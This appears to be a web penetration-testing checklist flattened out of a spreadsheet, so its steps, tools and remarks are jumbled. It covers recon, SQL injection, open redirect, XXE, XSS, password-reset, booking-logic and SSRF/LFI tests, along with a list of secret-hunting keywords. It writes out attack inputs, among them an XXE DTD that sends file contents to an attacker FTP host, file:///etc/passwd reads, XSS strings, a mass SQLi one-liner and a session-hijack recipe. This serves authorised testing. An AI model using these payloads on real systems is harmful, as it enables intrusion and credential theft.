Web Pentest Checklist
Web Pentest Checklist
Category
Fingerprinting Application
5
6
7
8
10
11
Network Testing
12
13
14 Application Mapping
15
Application Component Audit
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Audit Registration
37
38
39
40
41
42
43
44
45
46
47
Audit Authentication
Audit Authentication
48
49
50
51
Error codes Testing
52
53
54
55
56
57
58
59
60
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
Contact us / Feed Back Form Testing
86
87
88
89
Product Purchase Testing
90
91
92
93
94
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
SQL Injection
119
120
121
122
Open Redirection
123
132
133
134 XML Injection Testing
135
136
137
138
139
140
Banking Application Auditing
141
142
143
144
145
146
147
148
149
Web Services testing
150
151
152
153 Automated Scanners
154
155
CAPTCHA Testing
156
157
158
159
160
161
162
163
164
165
166
167
Other Testcases
168 Other Testcases
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
203 SSRF/LFI
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
Activity
Leaked info
Keywords such as
b. Search for keywords like admin, todo etc to find interesting stuff
c. Search for both http:// & https:// to find hidden endpoints in js files
Test for ping
Use Censys
DNS testing -
- Zone transfer
- Missing Certification Authority Authorization (CAA) Record
- Missing DNSSEC
Nessus scan
Banner disclosure of services other than 80 and 443.
Variation : If server blocks instant user requests, then try with time throttle
option from intruder and repeat the process again.
Use the wordlist with the Transmute python file to create complex wordlist
for the bruteforce process. - https://github.com/eshork/transmute
1) Use burp 'find' option in order to find parameters such as url, red,
redirect, redir, origin,dest, targetURL, checkout_URL etc.
2) Check the vlaue of these parameter which may contain a URL.
3) Check open redirection for 0auth functionality.
4) Change the URL value to www.chintan.com and check if gets redirected
or not.
5) Check if same secret code request can be used multiple times.
Generate custom pages such as /chintan.php, chintan.aspx and identify
error page
Add multiple parameters in same post get request using different value
and generate error
Add [], ]], and [[ in cookie values and parameter values to create errors
Try to generate unusual error code by giving input as /~chintan/%s at the
end of website URL
Find parameter which uses active account user id. Try to tamper it in order
to change the details of other account.
Create a list of features that are pertaining to a user account only.
- Change Email
- Change Password
- Change account details (Name, Number, Address, etc.)
Try CSRF
Post login change email id and update with any existing email id. Check if
its getting validated on server side or not. Does the application send any
new email confirmation link to a new user or not? What if a user does not
confirm the link in some time frame?
Perform all file upload test using extension tampering and file content
modifying.
- No Antivirus
- No Size Limit
- File extension Filter Bypass
Steps To Reproduce:
Inspect the Revoke button and make sure you see the session ID there.
Copy it. ████
Go to index page of gitlab as attacker (http://gitlab.bb/ in my case), I do
not know why, but it is important step
Clear attacker browser's cookie
Open the developer console as attacker and manually set
_gitlab_session to the copied one with:
document.cookie = "_gitlab_session=█████";
Refresh the attacker's page and make sure you are now inside the
impersonated session
Impact
Every gitlab authenticated user can escalate his privileges to admin ones
and give complete access to all gitlab services, projects and abilities. Only
he needs to do is ask admin to impersonate his account because of
something works bad there.
https://hackerone.com/reports/493324
Failure to invalidate session on Logout and Password reset
Check if forget password reset link/code uniqueness
Check if reset link does get expire or not if its not used by the user for
certain amount of time
Find user account identification parameter and tamper Id or parameter
value to change other user's password
If reset link have another params such as date and time then
a. Change date and time value in order to make active & valid reset link.
Separators
Carbon Copy
Double Parameter
Ask for two password reset link and use the older one from user's email
F. Track oder
-> Track other user's order by guessing order tracking number
A. Booking details
-> View/Manage other user's booking details.
-> Check reservation status for other users/behalf of other users.
B. Ticket/vouchers
-> View other users vouchers/e-tickets from PRINT option
-> Check if sensitive data is passed in GET request
-> If e-ticket/voucher is sent on email then check for the email flooding
C. Refund
attack.
-> View other user's refund status.
-> Refund more money than the intended one by parameter
manipulation.
-> If refund tracking is allowed then gain other user's refund tracking
status.
D. Cancellation
-> Gain higher cancellation amount with parameter modifying for amount
value.
E. Booking
-> Do 1st person booking and add 3 other persons in same prize
-> Hotel - Book normal room - Select Delux room in the same prize
Locator: '';!--"<chintan>=&{()}
Use pure JS payload that worked for many popular websites if your input is
reflected back in the JavaScript.
Locator -
Test'" 123' "Þ}j%Ùÿ
'
"
'"
"'
;'
'"();=,%+-/**/ --
If parameter=static_integer_value then follow below method
if id=4, then try id=3+1 or id=6-2 (if page loads in same way, it is
vulnerable)
Use SQLmap to identify vulnerabile parameters
1. Fill form in browser GUI submit it normally.
2. Go to history tab in burpsuite and find the relevent request.
3. Right click and select the option "copy to file".
4. Save file as anyname.txt
5. SQLmap command to run
python sqlmap.py -r ~/Desktop/textsqli.txt
--proxy="http://127.0.0.1:8080"
Search SQL injection syntax error using qsreplace, waybackurls
grep "=" .txt| qsreplace "' OR '1" | httpx -silent -store-response-dir output
-threads 100 | grep -q -rn "syntax\|mysql" output 2>/dev/null && \printf
"TARGET \033[0;32mCould Be Exploitable\e[m\n" || printf "TARGET \
033[0;31mNot Vulnerable\e[m\n"
Database Management System (DBMS) Misconfiguration
Open redirect mass using oranalyser
1) Use burp 'find' option in order to find parameters such as url, red,
redirect, redir, origin, redirect_uri, target etc.
4) Give below URL in web browser and check if application redirects to the
www.chintan.com website or not.
https://www.target.com/ÿ/www.twitter.com/
https://www.target.com//www.twitter.com/
https://www.target.com/ÿ/www.twitter.com/
https://www.target.com//www.twitter.com/
$ cat sectest.dtd
<!ENTITY % data SYSTEM "file:///<removed>">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM
'ftp://<Attacker>:2121/%data;'>">
If website has a feature for importing contacts from .CSV files then
1. Add one contact in your CSV file with the name
"><script>alert("chintan")</script>
2. Import contact to the website
3. Check if script getting executed or not.
Additional Scenario
While signing up as a new user, the OTP is sent to the mobile number
registered with the account. Submit the OTP value from your mobile
device and intercept the request. Edit the mobile number with an already
registered number. You can login as another user in the application and
perform action on his behalf. The response includes the user’s email
address, name and contact number.
If you find phpinfo.php file, check for the configuration leakage and try to
exploit any network vulnerability.
If CSP header blocks the clickjacking attack and origin parameter is present in the
original request then this scenario can be bypassed by adding unicode characters in
the value of origin header.
If the GIT repository file is found on the server, then try to download the entire source
code of the website using git-dumper tool.
Check whether the applicatio allow us to download the Excel file if yes then
download the excel file unzip it. Open the excel file.
Add your custom XXE payload /etc/passwd and upload on the server.
google_server_key
gsecr
heroku_api_key
heroku_key
heroku_oauth
heroku_oauth_secret
If the server is IIS 7 then test for
heroku_oauth_token
heroku_secret
IIS Short Name scanner
heroku_secret_token
HTTP.sys DOS RCE
htaccess_pass
Inspect all JS files, you might get lucky.
htaccess_user
Executable download - No secure integrity check
incident_bot_name
incident_channel_name
Directory listing - Non sensitive data exposure.
jwt_passphrase
jwt_password
Potentially unsafe HTTP method enabled
jwt_public_key
jwt_secret
OPTIONS PUT DELETE
jwt_secret_key
Reflected file download
jwt_secret_token
Parameter Pollution - Social Media Sharing Buttons
jwt_token
Full path disclosure
jwt_user
Internal Ip disclosure
keyPassword
Outdated software versions
location_hostname
Sensitive application data stored unencrypted - Internal storage
location_protocol
log_channel
Unsafe Cross-Origin-Resource Sharing
mail_driver
Wordpress testing
mail_encryption
- enumerate vulnerable plugins
mail_from_address
- enumerate vulnerable themes
mail_from_name
- enumerate email addresses and usernames
mail_host
- bruteforce using custom wordlist using wordpress
mail_password
Use searchsploit to find custom exploits
mail_port
mail_username
Use metasploit to find custom exploits
mailgun_key
- use metasploit --check option to check whether target is exploitable or not
mailgun_secret
- remember to give targetURI for the successful exploitation
mix_pusher_app_cluster
mix_pusher_app_key
mysql_password
node_env
oauth
oauth_discord_id
oauth_discord_secret
oauth_key
oauth_token
oauth2_secret
Take patterns and search throug application
password
Jales Signature Scan
paypal_identity_token
FavFreak
paypal_sandbox
paypal_secret
gitGraber
paypal_token
Arjun
playbooks_url
postgres_password
private
private_key
pusher_app_cluster
pusher_app_id
pusher_app_key
pusher_app_secret
queue_connection
queue_driver
redis_host
redis_password
redis_port
response_auth_jwt_secret
response_data_secret
response_data_url
root_password
sa_password
secret
secret_access_key
Manually find and click external links on the target site ( For Example:- Some Links
to Social Media Accounts or Some external Media Link)
While Doing Manual work also put broken-link-checker in background using below
Command interminal.
Now you need to check if company has the page or not , if no then register as the
company or try to get that username or url.
https://github.com/hahwul?tab=repositories
Manual hunt
Search for URL or Download parameter
Try file:///etc/passwd
url=file:///etc/passwd
download=file:///etc/passwd
Tools/Technique
Dnsdumster.com
builtwith.com
Sublist3r
Altdns
Assetfinder
Subfinder
Site:.domain.com
Response header
Nmap
Breach Compilation
We Leak Info
https://hunter.io/
https://dorks.faisalahmed.me
BurpSuite Engagement Tools
Ping CMD
Give domain name and find exposed devices, services, mail exchange servers and much
more.
Perform local WHOIS search instead of global WHOIS domain to find more information.
Nessus
Nmap
nmap -sS -n -Pn -p -sV 80,
443,8080,8001,8009,280,591,583,832,981,1311,2480,4444,4445,4567,5000,5104,5800,700
0,7001,7002,8008,8042,8088,8222,8243,8280,8281,8333,8530,8531,8887,8888, 8443,
8834, 9080,9443,9981,12043,12046,16080,18091,10443,18092, 81, 300, 593, 1010, 1311,
2082, 2087, 2095, 2096, 3000, 3128, 3333, 4243, 4711, 4712, 4993, 5108, 6543, 7396,
7474, 8000, 8001, 8008, 8014, 8069, 8080, 8081, 8090, 8091, 8118, 8123, 8172, 8443,
8500, 8880, 8888, 8983, 9000, 9043, 9060, 9090, 9091, 9200, 9800, 12443, 20720, 28017 -
iL target.txt -oA web_result -vvv –open
perl udp-proto-scanner.pl --file target.txt
BurpSuite repeater
BurpSuite Repeater
BurpSuite Repeater
Burpsuite Session timeout test extender
Burpsuite Proxy
Firebug add-on (firefox)
Firebug add-on (firefox)
Burpsuite
1.Create your account on target
2.request a forget password link
3.Don't use that link
4.Instead logged in with your old password and change your email to other
5.Now use that password link sents to old email and check if you are able to
change your password if yes than there is the title bug.
Manual
Manual
Manual
Burpsuite
Manual
Manual
Manual
1) Burpsuite
2) Manual
Manual
1) Burpsuite
2) Manual
1) Burpsuite
2) Manual
SSL/TLS lock
CewL
Transmute
Burpsuite
Burpsuite
Burpsuite
Burpsuite
Burpsuite
Burpsuite
Burpsuite
Burpsuite
Manual
Manual
1) Burpsuite
2) Manual
Manual
Manual
Manual
1) Burpsuite
2) Manual
1) Burpsuite
2) Manual
1) Burpsuite
2) Manual
1) Burpsuite
2) Manual
1) Burpsuite
2) Manual
1) Burpsuite
2) Manual
1) Burpsuite
2) Manual
1) Burpsuite
2) Manual
email=victim
email=victim@xyz
{"email":["[email protected]","[email protected]"]}
[email protected], [email protected]
[email protected]%[email protected]
[email protected]|[email protected]
[email protected]%a%0dcc:[email protected]
[email protected]&[email protected]
1) Burpsuite
2) Manual
1) Burpsuite
2) Manual
Burpsuite
Burpsuite
1) Burpsuite
2) Manual
1) Burpsuite
2) Manual
1) Burpsuite
2) Manual
1) Burpsuite
2) Manual
1) Burpsuite
2) Manual
1) Burpsuite
2) Manual
1) Burpsuite
2) Manual
1) Burpsuite
2) Manual
1) Burpsuite
2) Manual
1) Burpsuite
2) Manual
1) Burpsuite
2) Manual
1) Burpsuite
2) Manual
1) Burpsuite
2) Manual
1) Burpsuite
2) Manual
Burpsuite
Burpsuite
www.w3schools.com
Burpsuite
Burpsuite
gifsicle - Tool to bind javascript within GIF
Burpsuite
Terminal
Burpsuite
0;data:text/
html;base64,PHNjcmlwdD5wcm9tcHQoIlJlZmxlY3RlZCBYU1MgQnkgUHJpYWwiKTwv
c2NyaXB0Pg=="HTTP-EQUIV="refresh"
javascript:alert(123)
/*–>]]>%>?></object></script></title></textarea></noscript</style></
xmp>’-/”/-alert(1)//><img src=1 onerror=alert(1)>’
); alert(document.domain); if (1
Burpsuite
Burpsuite
Burpsuite
Burpsuite
Burpsuite
1) Burpsuite
2) Manual
Burpsuite
Burpsuite
Burpsuite
Burpsuite
Burpsuite
Burpsuite
Burpsuite
Burpsuite Repeater
Burpsuite
Burpsuite
Burpsuite
Burpsuite
Burpsuite
Burpsuite
Burpsuite
Burpsuite
Burpsuite
Burpsuite
Burpsuite
Burpsuite
Burpsuite
Burpsuite
Burpsuite
Burpsuite
Burpsuite
Burpsuite
1) Burpsuite
2) Netsparker
Burpsuite
Manual
Firebug addon
http://www.free-ocr.com/
Manual
Manual
Burpsuite Repeater
Manual
Manual
Manual
Burpsuite
Manual
Burpsuite Intruder
Manual
Burpsuite
For E.g:
https://myaccount.google.com/u/0/brandaccounts/group/{your-group-id}/managers?
originProduct=AC&origin=https://%0d.business.google.com
https://www.smartconversion.com/unit_conversion/IP_Address_Converter.aspx
https://github.com/neex
https://github.com/arthaud/git-dumper
Manual
Manual
Manual
Manual
BurpSuite
Burpsuite
Manual
Burpsuite
Manual
Manual
Manual
Manual
Manual
Manual
Manual
Manual
Manual
Manual
Manual
https://github.com/vsec7/BurpSuite-Xkeys
https://github.com/1ndianl33t/Gf-Patterns/
cat list_target.txt | jaeles scan -c 100 -s <signature>
https://github.com/devanshbatham/FavFreak
https://github.com/hisxo/gitGraber
https://github.com/s0md3v/Arjun
https://github.com/jhaddix/
Remarks
Old link becomes valid as if date and
time parameter's value are changed to
fresh one = Date time link is not user
dependent and therefore valid across
all users
account.. after knowing that your ID has
been compromised what you'll do ?
i guess first thing that will popup into
your head is, "I should change my
password!" and you'll change the
password.. maximum users just change
his/her password when they recover
their ID.
in C2FO, changing the password
doesn't destroys the other sessions
which are logged in with old passwords.
As other sessions is not destroyed,
attacker will be still logged in your
account even after changing password,
cause his session is still active.. he'll
have complete access on your account
till that session expires!
So, your account remains insecure
even after the changing of password.
PATCH
<methodCall>
<methodName>pingback.ping</metho
dName>
<params>
<param>
https://hackerone.com/reports/90131
https://www.owasp.org/index.php/CSV_
Excel_Macro_Injection
https://medium.com/bugbountywriteup/from-security-misconfiguration-to-gaining-access-of-smtp-server-ed833e757e6e
SAML Decoder -
https://www.samltool.com/decode.php
https://apapedulimu.click/clickjacking-on-google-myaccount-worth-7500/
https://medium.com/bugbountywriteup/how-i-earned-5040-from-twitter-by-showing-a-way-to-harvest-other-users-ip-address-e9f
https://medium.com/@kunal94/imagemagick-gif-coder-vulnerability-leads-to-memory-disclosure-hackerone-e9975a6a560e
Xxe in bol.com